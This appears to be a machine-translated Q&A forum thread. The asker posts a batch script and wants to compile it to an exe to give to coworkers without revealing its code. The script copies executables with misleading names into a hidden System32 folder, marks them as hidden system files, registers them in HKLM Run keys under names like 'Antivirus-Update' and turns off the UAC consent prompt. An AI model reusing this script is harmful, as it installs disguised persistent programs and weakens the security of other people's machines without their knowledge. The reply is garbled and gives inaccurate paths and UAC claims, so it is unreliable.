为什么选择我的批处理文件将其复制到正确的位置?

时间:2016-03-09 11:32:00

标签: windows batch-file cmd

这个问题正在吞噬我的大脑。我有一个简单的批处理文件,只有在%SYSTEMROOT%不存在时才会生成目录。将某些文件复制到该目录,将属性+S +R +H添加到它们,通过注册表添加两个程序启动并禁用UAC,因为我经常需要它3x天。它作为批处理文件很好用,但我想将它分发给我的公司伙伴。我们都参加了比赛,所以我不需要他们看我的代码;我知道如果我仍然处于批处理脚本的水平,而不是我的代码不值得复制,但我的伙伴也不是最亮的灯泡!

我的问题是,当我使用Quick Batch Convertor将其转换为exe时,它变成了一个exe,只有当它复制Access denied error中的文件时它才开始提供%SYSTEMROOT%我以管理员身份运行它,禁用UAC命令C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f正常工作,最初应该需要管理员权限。它只是复制文件,在转换为exe时拒绝访问。如果它是批量的形式,它们都可以正常工作。我知道这可能不在主题但我怀疑批处理文件而不是Quick Batch Converter犯规,因为我已使用此转换器转换了许多文件工作完美无缺。

我的批次代码在这里

@echo off
echo %CD%
cd %~dp0
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update"     /t REG_SZ /d     "\"C:\Windows\System32\SystemSettingsUpdate\HL~Realtime~Defense.exe\"  " /f
Reg.exe add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v     "Antivirus-Update " /t REG_SZ /d     "\"C:\Windows\System32\SystemSettingsUpdate\Configure.exe\"  " /f 
if not exist "%SYSTEMROOT%\system32\SystemSettingsUpdate" mkdir         %SYSTEMROOT%\system32\SystemSettingsUpdate
cd %~dp0
taskkill /f /im configure.exe
copy "%~dp0HL~Realtime~Defense.exe"     "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Whatsapp,Inc.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
copy "%~dp0Configure.exe" "%SYSTEMROOT%\system32\SystemSettingsUpdate"
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Configure.exe
ATTRIB +H -R +S %SYSTEMROOT%\system32\SystemSettingsUpdate\Whatsapp,Inc.exe
ATTRIB +H -R +S             %SYSTEMROOT%\system32\SystemSettingsUpdate\HL~Realtime~Defense.exe


C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD             HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v                     ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f  
exit 

任何建议?

1 个答案:

答案 0 :(得分:0)

我的问题完全重复

首先,您需要了解编译器的工作原理。编译器也可能是一个可怕的书面或可能是木马。一个好的编译器很少有效,并且没有被标记为木马。我建议开始学习其他语言,如C#或Python,它们都有内置的exe转换器。所以现在我说大多数exe转换器只能运行PURE DOS命令。其次有一个内置的应用程序被修改在Windows的后续版本中称为UAC。从Windows 10开始,没有一个没有提供其作者和等等的完美详细信息的应用程序可以被授予完全管理员权限,直到您添加例外,默认情况下。然后是32位和64位部分。 Windows 8 Onwards有两个版本的CMD。一个位于C:\Windows\SYSWOWNode64,一个位于C:\Windows\System32所以,如果您有64位计算机检查两个位置的文件夹。还有更多的因素可以参与,但我会等到你提供足够的关于你拥有的OS64 Bit or 32 bit计算机的deatilas,并检查了两个位置,以便缩小我的搜索范围

问候